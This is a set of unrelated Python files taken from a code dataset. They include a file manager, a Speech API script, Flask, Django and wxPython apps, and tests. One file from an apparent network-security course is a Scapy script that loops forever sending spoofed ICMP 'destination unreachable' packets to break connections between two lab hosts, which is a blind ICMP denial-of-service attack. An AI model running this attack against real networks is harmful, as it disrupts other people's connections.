print(self.layerSearch(self.goBack(self.absPath+newName)))\n\n def move(self):\n try:\n newPath = input(\"New path: \")\n os.rename(self.absPath, newPath)\n print(\"moved to new path!\\n\")\n print(self.layerSearch(self.goBack(newPath)))\n except OSError:\n print(\"\\nCan't do this process!\\n\")\n\n def newDir(self):\n try:\n newFolder = input(\"Folder name: \")\n print(self.absPath + \"\\\\\" + newFolder)\n os.mkdir(self.absPath + \"\\\\\" + newFolder)\n print(\"Folder created!\")\n print(self.layerSearch(self.absPath))\n except OSError:\n print(\"\\nCan't do this process!\\n\")\n\n def newFile(self):\n try:\n newFile = input(\"File name: \")\n print(self.absPath + \"\\\\\" + newFile)\n with open(self.absPath + \"\\\\\" + newFile, 'w') as f:\n f.write(\"\")\n f.close()\n print(\"File created!\")\n print(self.layerSearch(self.absPath))\n except OSError:\n print(\"\\nCan't do this process!\\n\")\n\n def delete(self):\n if os.path.isdir(self.absPath):\n try:\n sw = input(\"Type (Yes) if you sure!\")\n if sw == \"Yes\":\n os.rmdir(self.absPath)\n print(\"\\nFolder deleted.\\n\")\n else:\n print(\"\\nCanceled.\\n\")\n except OSError:\n print(\"\\nCan't delete this folder!\\n!! maybe some files inside folder prevent delete operation!\")\n else:\n sw = input(\"Type (Yes) if you sure!\")\n if sw == \"Yes\":\n os.remove(self.absPath)\n print(\"\\nFile deleted.\\n\")\n self.absPath = self.goBack(self.absPath)\n else:\n print(\"\\nCanceled.\\n\")\n\n\nif __name__ == \"__main__\":\n ss = StorageSpider()\n ss.appBanner()\n while 1:\n disks = ss.listDisks()\n for disk in range(0, len(disks)):\n print(\"(\" + str(disk) + \") \" + disks[disk])\n print(\"(B) Back\\n\")\n diskChoose = input(\"select: \")\n if diskChoose.isdecimal():\n ss.absPath += ss.listDisks()[int(diskChoose)]\n print(ss.layerSearch(ss.listDisks()[int(diskChoose)]))\n print(\"\\n(ND)New Folder (NF)New File (D)Delete (R)Rename (M)Move (S)Size (G)Absolute path (L)List (B)Back\\n\")\n else:\n if diskChoose.lower() == \"b\":\n break\n else:\n print(\"\\nUnknown option!\\n\")\n while 1:\n choose = input(\"select: \")\n if choose.isalpha():\n if choose.lower() == \"nd\" and os.path.isdir(ss.absPath):\n ss.newDir()\n elif choose.lower() == \"nf\" and os.path.isdir(ss.absPath):\n ss.newFile()\n elif choose.lower() == \"d\":\n ss.delete()\n elif choose.lower() == \"r\":\n ss.rename()\n elif choose.lower() == \"s\":\n if os.path.isfile(ss.absPath):\n print(\"File size: \", ss.getMbFileSize(ss.absPath))\n else:\n print(\"in Folder files size: \", ss.getDirSize(ss.absPath))\n elif choose.lower() == \"g\":\n print(\"\\n\"+ss.absPath+\"\\n\")\n elif choose.lower() == \"m\":\n ss.move()\n elif choose.lower() == \"b\":\n if len(ss.absPath) < 4:\n ss.absPath = r\"\"\n break\n else:\n ss.absPath = ss.goBack(ss.absPath)\n print(ss.layerSearch(ss.absPath))\n print(\"\\n(ND)New Folder (NF)New File (D)Delete (R)Rename (M)Move (S)Size (G)Absolute path (L)List (B)Back\\n\")\n elif choose.lower() == \"l\" and os.path.isdir(ss.absPath):\n print(ss.layerSearch(ss.absPath))\n else:\n print(\"\\nUnknown choice!\\n\")\n elif choose.isdecimal() and os.path.isdir(ss.absPath):\n try:\n ss.absPath += \"\\\\\" + os.listdir(ss.absPath)[int(choose)]\n if os.path.isdir(ss.absPath):\n print(ss.layerSearch(ss.absPath))\n print(\"\\n(ND)New Folder (NF)New File (D)Delete (R)Rename (M)Move (S)Size (G)Absolute path (L)List (B)Back\\n\")\n else:\n print(ss.absPath)\n print(\"\\n(D)Delete (R)Rename (M)Move (S)Size (G)Absolute path (B)Back\\n\")\n except IndexError:\n print(\"\\nUnlisted option!!\\n\")\n print(ss.layerSearch(ss.absPath))\n print(\"\\n(ND)New Folder (NF)New File (D)Delete (R)Rename (M)Move (S)Size (G)Absolute path (L)List (B)Back\\n\")\n else:\n print(\"\\nUnknown choice!\\n\")\n","repo_name":"UserJoo9/StorageSpider","sub_path":"StorageSpider.py","file_name":"StorageSpider.py","file_ext":"py","file_size_in_byte":7333,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"74614748092","text":"import sys\nimport os\nfrom scapy.all import *\n\n\ndef main():\n\t\n\tsrc_ip=\"192.168.56.102\"\n\tdest_ip=\"192.168.56.103\"\n\tsrc_mac=\"08:00:27:1A:C1:21\"\n\tdest_mac=\"08:00:27:36:72:04\"\n\tsend_icmpBlind_packet(src_ip,dest_ip,src_mac,dest_mac)\n\n\t\n\t\t\n\t \n\n\ndef send_icmpBlind_packet(src_ip,dest_ip,src_mac,dest_mac):\n\teth_h=Ether(src=src_mac,dst=dest_mac)\n\tip_h=IP(dst=dest_ip,src=src_ip)\n\ticmp_h=ICMP(type=3,code=2)\n\tpkt=eth_h/ip_h/icmp_h\n\tsendp(pkt,iface=\"eth13\") \n\n\n#os.system(iptables -A OUTPUT -p TCP --tcp-flags RST RST -j DROP) \nwhile 1:\n\tmain()\n","repo_name":"deepanshululla/Network-security","sub_path":"Attacks on Layer2,3,4 Protocols/Codes/task6_icmpBlind.py","file_name":"task6_icmpBlind.py","file_ext":"py","file_size_in_byte":540,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"78"} +{"seq_id":"72603431931","text":"import os\nfrom google.cloud import speech\nos.environ['GOOGLE_APPLICATION_CREDENTIALS'] = 'ageless-period-303512-92005536c5f9.json'\nspeech_client = speech.SpeechClient()\n\nmedia_file_name = 'fun-in-osaka_Ck8Pwxzm.mp3'\n\n\nwith open(media_file_name, 'rb') as f1:\n byte_data = f1.read()\naudio_mp3 = speech.RecognitionAudio(content=byte_data)\n\n\nconfig_mp3 = speech.RecognitionConfig(\n sample_rate_hertz=48000,\n enable_automatic_punctuation=True,\n language_code='en-US'\n)\n\nresponse_mp = speech_client.recognize(\n config=config_mp3,\n audio=audio_mp3\n)\n\nprint(response_mp)\n","repo_name":"ayushb2002/textSummarization","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":581,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"1217377757","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport wx\nimport netifaces\n\nclass MWPanel(wx.Panel):\n def __init__(self, parent):\n\n self.if_dict = {}\n\n # since we are on Windows, we need to map interface IDs to human readable names\n for i in xrange(0, len(netifaces.interfaces())):\n if i < 9:\n if_name = 'interface0'+str(i+1)\n else:\n if_name = 'interface'+str(i+1)\n\n self.if_dict[if_name] = netifaces.interfaces()[i]\n\n self.interface_list = [interface for interface in self.if_dict.iterkeys()]\n\n # Panel\n wx.Panel.__init__(self, parent)\n\n # Combo box and label\n self.lbl_interfaces = wx.StaticText(self, label=\"Select interface:\")\n self.cb_interfaces = wx.ComboBox(self, style=wx.CB_DROPDOWN,\n choices=sorted(self.interface_list))\n\n # ComboBox events bindings\n self.Bind(wx.EVT_COMBOBOX, self.EvtComboBox, self.cb_interfaces)\n\n # Text control\n self.tc_information = wx.TextCtrl(self, size=(300,200), style=wx.TE_MULTILINE | wx.TE_READONLY)\n\n # Sizer\n mainSizer = wx.BoxSizer(wx.VERTICAL)\n comboSizer = wx.BoxSizer(wx.VERTICAL)\n gridBagSizer = wx.GridBagSizer(hgap=5, vgap=5)\n\n # Compose widget arrangement\n comboSizer.Add(self.lbl_interfaces)\n comboSizer.Add(self.cb_interfaces)\n gridBagSizer.Add(comboSizer, pos=(0,0))\n gridBagSizer.Add(self.tc_information, pos=(1,0))\n mainSizer.Add(gridBagSizer, 0, wx.ALL, 5)\n self.SetSizerAndFit(mainSizer)\n\n # Event handlers\n def EvtComboBox(self, event):\n '''when a item in the combo box is selected, write the interface\n information to the TextControl'''\n\n self.tc_information.SetValue('Interface Informations\\n----------------------------\\n')\n try:\n for item in netifaces.ifaddresses(self.if_dict[self.cb_interfaces.GetValue()])[netifaces.AF_INET]:\n if 'addr' in item:\n self.tc_information.AppendText('IP-Address:\\t%s\\n' % item['addr'])\n if 'netmask' in item:\n self.tc_information.AppendText('Netmask:\\t\\t%s\\n' % item['netmask'])\n if 'broadcast' in item:\n self.tc_information.AppendText('Broadcast:\\t%s\\n' %\n item['broadcast'])\n\n for item in netifaces.ifaddresses(self.if_dict[self.cb_interfaces.GetValue()])[netifaces.AF_LINK]:\n if 'addr' in item:\n self.tc_information.AppendText('MAC-Address:\\t%s\\n' % item['addr'])\n\n self.tc_information.AppendText('Name:\\t\\t%s\\n' %\n self.if_dict[self.cb_interfaces.GetValue()])\n\n except KeyError:\n self.tc_information.SetValue('No address assigned')\n\nclass MainWindow(wx.Frame):\n def __init__(self, parent, title, size, style):\n wx.Frame.__init__(self, parent, title=title, size=size, style=style)\n\n # Menu bar\n filemenu = wx.Menu()\n menuAbout = filemenu.Append(wx.ID_ABOUT, \"&About\", '''Information about\n this program''')\n menuExit = filemenu.Append(wx.ID_EXIT, \"&Exit\", \"Exit the program\")\n\n menuBar = wx.MenuBar()\n menuBar.Append(filemenu, \"&File\")\n self.SetMenuBar(menuBar)\n\n # intance of the Panel we created before\n mainPanel = MWPanel(self)\n\n # Status bar\n self.CreateStatusBar()\n\n # Actually show this window \n self.Show()\n\n\n # Event bindings\n self.Bind(wx.EVT_MENU, self.on_about, menuAbout)\n self.Bind(wx.EVT_MENU, self.on_exit, menuExit)\n\n # Event handlers\n def on_about(self, e):\n dlg = wx.MessageDialog(self, '''A program to show information about the\n computer's network interface''', \"About Interfaces\", wx.OK)\n dlg.ShowModal()\n dlg.Destroy()\n\n def on_exit(self, e):\n self.Close(True)\n\n\ndef main():\n app = wx.App(False)\n MainWindow(None,title=\"Interfaces\", size=(340,350),\n style= wx.SYSTEM_MENU | wx.CAPTION | wx.CLOSE_BOX)\n app.MainLoop()\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"grimlck/Interfaces","sub_path":"interfaces.pyw","file_name":"interfaces.pyw","file_ext":"pyw","file_size_in_byte":4200,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"2552037395","text":"import timeit\nimport matplotlib.pyplot as plt \n\nX=int(input(\"Enter the num to be searched: \"))\nnum=int(input(\"Please enter the size of the array: \")) \narr=[]\nfor i in range(0,num):\n l=int(input())\n arr.append(l) \n\nstarttime = timeit.default_timer()\narr.sort()\n\ndef Binary_search(arr,start,end,x):\n if end>=start:\n mid=(start+end)//2\n \n if arr[mid]==x:\n return mid \n \n elif arr[mid]>x:\n return Binary_search(arr,start,mid-1,x)\n \n else:\n return Binary_search(arr,mid+1,end,x) \n else:\n return -1\n\n\nfoo=Binary_search(arr,0,num-1,X) \n\nif foo!=-1:\n print(\"Number Found\") \n\nelse:\n print(\"Number not Found\")\n\nprint(\"The time difference is :\", timeit.default_timer() - starttime)\n\nx=[5,10,15,20] \ny=[4.524999999944157e-05,8.72080000036135e-05,0.00010641699999780485,9.370800000141344e-05]\n\nfig = plt.figure(figsize = (10,5))\nplt.plot(x,y, \"or\", color = \"b\")\nplt.title(\"Binary Search\")\nplt.xlabel(\"Input size\")\nplt.ylabel(\"Time\")\nplt.show()\n","repo_name":"Baka-14/D.A.A","sub_path":"Search/Binary_Search.py","file_name":"Binary_Search.py","file_ext":"py","file_size_in_byte":1038,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"16716684249","text":"\"\"\"\nMap reads to reference genome using BWA and sort them subsequently.\n\"\"\"\n\n__author__ = \"Janek Sendrowski\"\n__contact__ = \"j.sendrowski18@gmail.com\"\n__date__ = \"2022-05-31\"\n\nfrom snakemake.shell import shell\n\nref = snakemake.input.ref\nleft = snakemake.input.left\nright = snakemake.input.right\nname = snakemake.wildcards.name\nout = snakemake.output.bam\ntmp_dir = snakemake.resources.tmpdir\nthreads = snakemake.threads\n\n# only map paired end reads which account for most of the data\nshell(f\"samtools sort -T {tmp_dir} <(bwa mem {ref} {left} {right} -R '@RG\\\\tID:{name}\\\\tSM:{name}' -t {threads}) > {out}\")\n","repo_name":"Sendrowski/BirchesScandinavia","sub_path":"scripts/map_reads.py","file_name":"map_reads.py","file_ext":"py","file_size_in_byte":605,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"78"} +{"seq_id":"22970694904","text":"lst=list()\r\nlst.append(21)\r\nlst.append(183)\r\nprint(lst)\r\nlst[0]=23\r\nprint(lst)\r\n\r\n\r\nddd=dict()\r\nddd['age']=21\r\nddd['course']=182\r\nprint(ddd)\r\nddd['age']=23\r\nprint(ddd)\r\n","repo_name":"dhruvjadvani/PY4E","sub_path":"programs/comparing list and dictionaries.py","file_name":"comparing list and dictionaries.py","file_ext":"py","file_size_in_byte":169,"program_lang":"python","lang":"fa","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"208468976","text":"import logging\n\n#from dynamoplus.service.indexing_service import create_indexes,update_indexes,delete_indexes\nfrom dynamoplus.models.system.collection.collection import Collection\nfrom dynamoplus.v2.indexing_service_v2 import create_indexes,update_indexes,delete_indexes\nfrom dynamoplus.v2.service.domain.domain_service import DomainService\nfrom dynamoplus.v2.service.system.system_service import CollectionService\nimport os\n\nfrom dynamoplus.v2.service.common import is_system\n\nlogger = logging.getLogger()\nlogger.setLevel(logging.INFO)\nlocal = False\n\n\ndef is_local_environment():\n return \"STAGE\" in os.environ and \"local\" == os.environ[\"STAGE\"] and (\n \"TEST_FLAG\" not in os.environ or \"true\" != os.environ[\"TEST_FLAG\"])\n\n\ndef create_document(fun):\n def create(*args,**kwargs):\n is_local_env = is_local_environment()\n result = fun(*args,**kwargs)\n if result and is_local_env:\n collection_name = args[0]\n is_system_collection = is_system(Collection(collection_name, None))\n if not is_system_collection:\n if result and isinstance(result,dict):\n logger.info(\"create document index for {}\".format(collection_name))\n create_indexes(collection_name,result)\n return result\n\n return create\n\n\ndef update_document(fun):\n def update(*args,**kwargs):\n is_local_env = is_local_environment()\n collection_name = args[0]\n id = args[2]\n before = DomainService(CollectionService.get_collection(collection_name)).get_document(id)\n after = fun(*args,**kwargs)\n if after and is_local_env:\n is_system_collection = is_system(Collection(collection_name, None))\n if not is_system_collection:\n update_indexes(collection_name,before,after)\n logger.info(\"updating document index for {}\".format(collection_name))\n return after\n\n return update\n\ndef delete_document(fun):\n def delete(*args,**kwargs):\n is_local_env = is_local_environment()\n if is_local_env:\n collection_name = args[0]\n id = args[1]\n is_system_collection = is_system(Collection(collection_name, None))\n if not is_system_collection:\n before = DomainService(CollectionService.get_collection(collection_name)).get_document(id)\n fun(*args, **kwargs)\n if before:\n delete_indexes(collection_name,before)\n logger.info(\"delete document index for {}\".format(collection_name))\n else:\n fun(*args, **kwargs)\n\n\n return delete\n\n\n","repo_name":"antessio/dynamoplus","sub_path":"serverless/dynamoplus/service/indexing_decorator.py","file_name":"indexing_decorator.py","file_ext":"py","file_size_in_byte":2640,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"78"} +{"seq_id":"32745506485","text":"# -*- coding: utf-8 -*-\n\nfrom rest_framework import viewsets\n\nfrom portfolio_backend.apps.blog.models import Post, Comment\nfrom portfolio_backend.apps.blog.serializers import PostSerializer, CommentSerializer\n\n\nclass PostViewSet(viewsets.ModelViewSet):\n queryset = Post.objects.all()\n serializer_class = PostSerializer\n\n\nclass PostCommentViewSet(viewsets.ModelViewSet):\n serializer_class = CommentSerializer\n\n def get_queryset(self):\n return Comment.objects.filter(post=self.kwargs['post_pk'])\n","repo_name":"SwanMougnoz/portfolio_backend","sub_path":"portfolio_backend/apps/blog/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":513,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"72963911933","text":"from flask import Flask, request, jsonify\n\napp = Flask(__name__)\n\n@app.route('/first')\ndef first():\n return 'Hello!!!!!!!!!!!!!'\n\n\n@app.route('/user_info', methods=['GET', 'POST'])\ndef user_info():\n\n if request.method == 'GET':\n name = 'Eldar'\n age = str(28)\n\n user_name = request.args.get('name')\n user_age = request.args.get('age')\n\n print(\"user_name=\", user_name)\n\n user_list = [user_name, user_age]\n\n return jsonify(user_list)\n\n elif request.method == 'POST':\n\n salary = int(request.form.get('salary'))\n\n annualy = str(salary * 12)\n\n resp_str = 'Annualy salary = ' + annualy\n\n return resp_str","repo_name":"Eldar-Adzhiev/Python","sub_path":"Ksendzov_course_python/lesson_12_flask/trainserver/flask_api.py","file_name":"flask_api.py","file_ext":"py","file_size_in_byte":682,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"27272924880","text":"import os\nimport math\nfrom collections import namedtuple\n\nPoint = namedtuple(\"Point\", [\"x\", \"y\"])\n\nwith open(os.getcwd() + \"/day17/input.txt\") as f:\n line = f.readline().splitlines()[0]\n part = line.split(\"x=\")[1]\n x, y = part.split(\", y=\")\n\n x = list(map(int, x.split(\"..\")))\n y = list(map(int, y.split(\"..\")))\n top_left = Point(x[0], y[1])\n bot_right = Point(x[1], y[0])\n\n# Part 1.\n# The highest trajectory will be when we nail the x-part of the landing zone\n# i.e., the x-speed must be zero when we reach it. Since the distance travelled\n# from a certain speed x is sum(x, x-1, x-2,..., 0), we can calculate it as\n# x(x-1) / 2. That means we can solve for x^2 - 2x - 2 * distance = 0\n# Apply ABC formula to find min&max x speed to reach the target.\ndef solve(distance: int):\n distance *= 2\n return int(math.sqrt(4 - 4 * distance) / 2)\n\n\nmin_x_speed = solve(0 - top_left.x)\nmax_x_speed = solve(0 - bot_right.x)\n\n# How high can we make it go for any value between these speeds.\nmax_y_speed = 0\nfor x_speed in range(min_x_speed, max_x_speed + 1):\n\n # Test y speed 0, 50.\n for y_speed in range(0, 50):\n curr_speed = y_speed\n l_pos = 0\n while l_pos > bot_right.y:\n l_pos += curr_speed\n curr_speed -= 1\n\n # Right on the money\n if bot_right.y <= l_pos <= top_left.y:\n if y_speed > max_y_speed:\n max_y_speed = y_speed\n\n\nhigh_pos = sum([x for x in range(max_y_speed + 1)])\nprint(f\"Heighest point achieved is: {high_pos}\")\n\n\n# Part 2, we need to check every value for x this time :(\n# So lets implement the loop again.\ndistinct_velocities = set()\nfor x_speed in range(0, 300):\n for y_speed in range(-500, 500):\n curr_pos = Point(0, 0)\n curr_speed = Point(x_speed, y_speed)\n\n while curr_pos.y > bot_right.y and curr_pos.x < bot_right.x:\n curr_pos = Point(curr_pos.x + curr_speed.x, curr_pos.y + curr_speed.y)\n curr_speed = Point(\n curr_speed.x - 1 if curr_speed.x > 0 else 0, curr_speed.y - 1\n )\n\n # Right on the money.\n if (\n bot_right.y <= curr_pos.y <= top_left.y\n and top_left.x <= curr_pos.x <= bot_right.x\n ):\n distinct_velocities.add(Point(x_speed, y_speed))\nprint(f\"Distinct # velocities to achieve target: {len(distinct_velocities)}\")\n","repo_name":"wradstok/aoc2021","sub_path":"day17/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":2418,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"17447834384","text":"\"\"\"WAP that asks the user the day number in a year in the range 2 to 365 and asks the first day of the year- Sunday or Monday etc.\nThen the program should display the day on the day-number that has been input.\n\"\"\"\ndef day_check():\n ch = 'y'\n while ch == 'Y' or ch == 'y':\n n = int(input(\"Enter a number from (2-365) : \"))\n w_ends = (\"SUNDAY\", \"MONDAY\", \"TUESDAY\", \"WEDNESDAY\", \"THURSDAY\", \"FRIDAY\", \"SATURDAY\")\n if 2 <= n <= 365:\n fd = input(\"Enter the first day of the year : \")\n if fd.upper() in w_ends:\n print(w_ends[(w_ends.index(fd.upper()) + n - 1) % 7])\n else:\n print(\"Not a day!!!\")\n else:\n print(\"Out of Input Range!!!\")\n ch = input(\"Do you want to continue?(y/n) : \")\n\n\nday_check()\n","repo_name":"Hacker-BlackHATS/Python_Basic_Programs","sub_path":"WAP that asks the user the day number in a year in the range 2 to 365 and asks the first day of the year- Sunday or Monday etc. Then the program should display the day on the day-number that has been input.py","file_name":"WAP that asks the user the day number in a year in the range 2 to 365 and asks the first day of the year- Sunday or Monday etc. Then the program should display the day on the day-number that has been input.py","file_ext":"py","file_size_in_byte":807,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"} +{"seq_id":"36227711483","text":"from flask import Flask, render_template, request, redirect, url_for, jsonify\r\nimport stripe # Use the appropriate library for your chosen payment gateway\r\n\r\napp = Flask(__name__)\r\napp.config['STRIPE_SECRET_KEY'] = 'your_stripe_secret_key'\r\nstripe.api_key = app.config['STRIPE_SECRET_KEY']\r\n\r\n@app.route('/')\r\ndef index():\r\n return render_template('index.html')\r\n\r\n@app.route('/charge', methods=['POST'])\r\ndef charge():\r\n amount = request.form['amount']\r\n email = request.form['email']\r\n\r\n # Create a payment intent (Stripe example)\r\n intent = stripe.PaymentIntent.create(\r\n amount=amount,\r\n currency='usd',\r\n description='Donation',\r\n receipt_email=email,\r\n )\r\n\r\n return jsonify({'clientSecret': intent.client_secret})\r\n\r\nif __name__ == '__main__':\r\n app.run(debug=True)\r\n","repo_name":"aaradhyav15/Paymentwebsi","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":826,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"37646694614","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n__author__ = 'komorebi'\n\n\"\"\"\nGiven N number of activities with their start and end times.\nWe need to select the maximum number of activities that can be performed by a single person,\nassuming that a person can only work on a single activity at a time.\n\"\"\"\n\n\ndef select(activities):\n # sort all activities order by finish time\n activities.sort(key=lambda x: x[2])\n result = []\n for activity in activities:\n # iterate all activities to find activity which start time larger or\n # equal to finish time of last arranged activity's\n if not result or activity[1] >= result[-1][2]:\n result.append(activity)\n return len(result)\n\n\nif __name__ == '__main__':\n activities = [\n ['A1', 0, 6],\n ['A2', 3, 4],\n ['A3', 1, 2],\n ['A4', 5, 8],\n ['A5', 5, 7],\n ['A6', 8, 9]\n ]\n select(activities)\n","repo_name":"lost-komorebi/Data-Structures-and-Algorithms-Python-Coding","sub_path":"algorithm/exercise/activity_selection.py","file_name":"activity_selection.py","file_ext":"py","file_size_in_byte":923,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"1789909155","text":"# https://leetcode.com/problems/encode-and-decode-strings/\n# Design an algorithm to encode a list of strings to a string. The encoded string is then sent over the network and is decoded back to the original list of strings.\n\n# Approach1 enode with size + delimeter\n# time: O(n) encode, O(n) decode, space: O(1) encode, O(n) decode\nclass Codec:\n def encode(self, strs: [str]) -> str:\n \"\"\"Encodes a list of strings to a single string.\n \"\"\"\n res = \"\"\n for s in strs:\n res += str(len(s)) + \"#\"+ s\n return res\n \n\n def decode(self, s: str) -> [str]:\n \"\"\"Decodes a single string to a list of strings.\n \"\"\"\n res, i = [], 0\n while i < len(s):\n j = i\n while s[j] != \"#\":\n j += 1\n length = int(s[i:j])\n res.append(s[j+1:j+1+length])\n i = j + 1+ length\n return res\n \n\n\n# Your Codec object will be instantiated and called as such:\n# codec = Codec()\n# codec.decode(codec.encode(strs))","repo_name":"aygupta9800/Leetcode","sub_path":"Design/1.8-Encode-and-Decode-strings.py","file_name":"1.8-Encode-and-Decode-strings.py","file_ext":"py","file_size_in_byte":1041,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"22859406915","text":"from django.contrib.auth.models import User\nfrom . import models\nfrom rest_framework import viewsets, status\nfrom e_commerce_app.serializers import UserSerializer\nfrom . import serializers\nfrom rest_framework.response import Response\nfrom rest_framework.views import APIView\nfrom django.shortcuts import get_object_or_404\n\nfrom django.utils.decorators import method_decorator\nfrom django.views.decorators.cache import cache_page\nfrom django.views.decorators.vary import vary_on_cookie\n\n\nclass UserViewSet(viewsets.ModelViewSet):\n queryset = User.objects.all()\n serializer_class = UserSerializer\n # permission_classes = [permissions.IsAuthenticated]\n @method_decorator(vary_on_cookie)\n @method_decorator(cache_page(60*60))\n def dispatch(self, *args, **kwargs):\n return super(UserViewSet, self).dispatch(*args, **kwargs)\n\nclass ProductViewSet(viewsets.ModelViewSet):\n queryset = models.Product.objects.all()\n serializer_class = serializers.ProductSerializer\n @method_decorator(vary_on_cookie)\n @method_decorator(cache_page(60*60))\n def dispatch(self, *args, **kwargs):\n return super(ProductViewSet, self).dispatch(*args, **kwargs)\n\nclass CartViewSet(viewsets.ModelViewSet):\n queryset = models.Cart.objects.all()\n serializer_class = serializers.CartSerializer\n @method_decorator(vary_on_cookie)\n @method_decorator(cache_page(60*60))\n def dispatch(self, *args, **kwargs):\n return super(CartViewSet, self).dispatch(*args, **kwargs)\n\n# class BuyViewSet(viewsets.ModelViewSet):\n# queryset = models.Buy.objects.all()\n# print(queryset)\n# serializer_class = serializers.BuySerializer\n\n# Direct Buy product\nclass BuyViewSet(APIView): \n def post(self, request):\n serializer = serializers.BuySerializer(data=request.data)\n \n if serializer.is_valid():\n serializer.save()\n\n item = models.Product.objects.get(id=request.data.get('product'))\n updated_inventory = item.inventory - int(request.data['quantity'])\n data = {\n 'inventory': updated_inventory\n }\n product_serializer = serializers.ProductSerializer(item, data=data, partial=True)\n\n if product_serializer.is_valid():\n product_serializer.save()\n else:\n return Response({\"status\": \"error\", \"data\": product_serializer.errors})\n\n return Response({\"status\": \"success\", \"data\": serializer.data})\n else:\n return Response({\"status\": \"error\", \"data\": serializer.errors})\n\n def get(self, request, id=None):\n try:\n if id:\n item = models.Buy.objects.get(id=id)\n serializer = serializers.BuySerializer(item)\n return Response({\"status\": \"success\", \"data\": serializer.data}, status=status.HTTP_200_OK)\n\n items = models.Buy.objects.all()\n serializer = serializers.BuySerializer(items, many=True)\n return Response({\"status\": \"success\", \"data\": serializer.data}, status=status.HTTP_200_OK)\n except:\n return Response({\"status\": \"error\", \"data\": \"data does not exist\"})\n\n @method_decorator(vary_on_cookie)\n @method_decorator(cache_page(60*60))\n def dispatch(self, *args, **kwargs):\n return super(BuyViewSet, self).dispatch(*args, **kwargs)\n\n# Buy from cart\nclass BuyCartItemsViewSet(APIView): \n def post(self, request):\n for item in request.data.get('product'):\n data = {\n 'user': request.data.get('user'),\n 'product': item['id'],\n 'quantity': item['quantity'],\n 'amount': item['amount'],\n 'payment_method': request.data.get('payment_method')\n }\n\n serializer = serializers.BuySerializer(data=data)\n \n if serializer.is_valid():\n serializer.save()\n else:\n return Response({\"status\": \"error\", \"data\": serializer.errors})\n\n # Updating product table inventory\n prod = models.Product.objects.get(id=item['id'])\n updated_inventory = prod.inventory - int(item['quantity'])\n data = {\n 'inventory': updated_inventory\n }\n\n product_serializer = serializers.ProductSerializer(prod, data=data, partial=True)\n\n if product_serializer.is_valid():\n product_serializer.save()\n else:\n return Response({\"status\": \"error\", \"data\": product_serializer.errors})\n\n # Delete items from cart after user bought it\n cart_id = models.Cart.objects.filter(user=request.data.get('user')).values_list('id', flat=True).first()\n print(cart_id)\n item = get_object_or_404(models.Cart, id=cart_id)\n item.delete()\n print('deleted')\n return Response({\"status\": \"success\", \"data\": request.data})\n \n @method_decorator(vary_on_cookie)\n @method_decorator(cache_page(60*60))\n def dispatch(self, *args, **kwargs):\n return super(BuyCartItemsViewSet, self).dispatch(*args, **kwargs) ","repo_name":"ShankhyaINT/E_Commerce_API","sub_path":"e_commerce_app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5158,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"26733127894","text":"import unittest\nfrom subprocess import Popen, PIPE, DEVNULL\nimport Common.Test.playback as playback\nimport Common.Test.cti as cti\n\nclass TestS3270CmdLineHostError(cti.cti):\n\n # s3270 command-line host connect failure test.\n def test_s3270_cmdline_host_connect_error(self):\n\n # Start s3270.\n s3270 = Popen(cti.vgwrap(['s3270', '255.255.255.255:22']), stdin=DEVNULL, stdout=PIPE,\n stderr=PIPE)\n self.children.append(s3270)\n\n # Get the result.\n out = s3270.communicate(timeout=2)\n\n # Wait for the process to exit.\n self.vgwait(s3270, assertOnFailure=False)\n\n # Check.\n # There should be nothing on stdout, but something on stderr.\n self.assertEqual(b'', out[0])\n self.assertTrue(out[1].startswith(b'Connection failed:'))\n\n # s3270 command-line host negotiation error test\n def test_s3270_cmdline_host_negotiation_error(self):\n\n # Start 'playback' to read s3270's output.\n playback_port, ts = cti.unused_port()\n with playback.playback(self, 's3270/Test/ibmlink.trc', port=playback_port) as p:\n ts.close()\n\n # Start s3270.\n s3270_port, ts = cti.unused_port()\n s3270 = Popen(cti.vgwrap(['s3270',\n '-xrm', 's3270.contentionResolution: false',\n '-xrm', 's3270.scriptedAlways: true',\n '-httpd', f'127.0.0.1:{s3270_port}',\n f'127.0.0.1:{playback_port}']), stdin=PIPE, stdout=PIPE, stderr=PIPE)\n self.children.append(s3270)\n self.check_listen(s3270_port)\n ts.close()\n\n # Start negotation, but break the connection before drawing the\n # screen.\n p.send_records(1)\n p.disconnect()\n\n # Get the result.\n s3270.stdin.write(b'Quit()\\n')\n out = s3270.communicate(timeout=2)\n\n # Wait for the processes to exit.\n self.vgwait(s3270)\n\n # Check.\n # There should be nothing on stdout, but something on stderr.\n self.assertTrue(out[0].startswith(b'L U U N N 4 43 80 0 0 0x0 '))\n self.assertTrue(out[1].startswith(b'Wait(): Host disconnected'))\n\nif __name__ == '__main__':\n 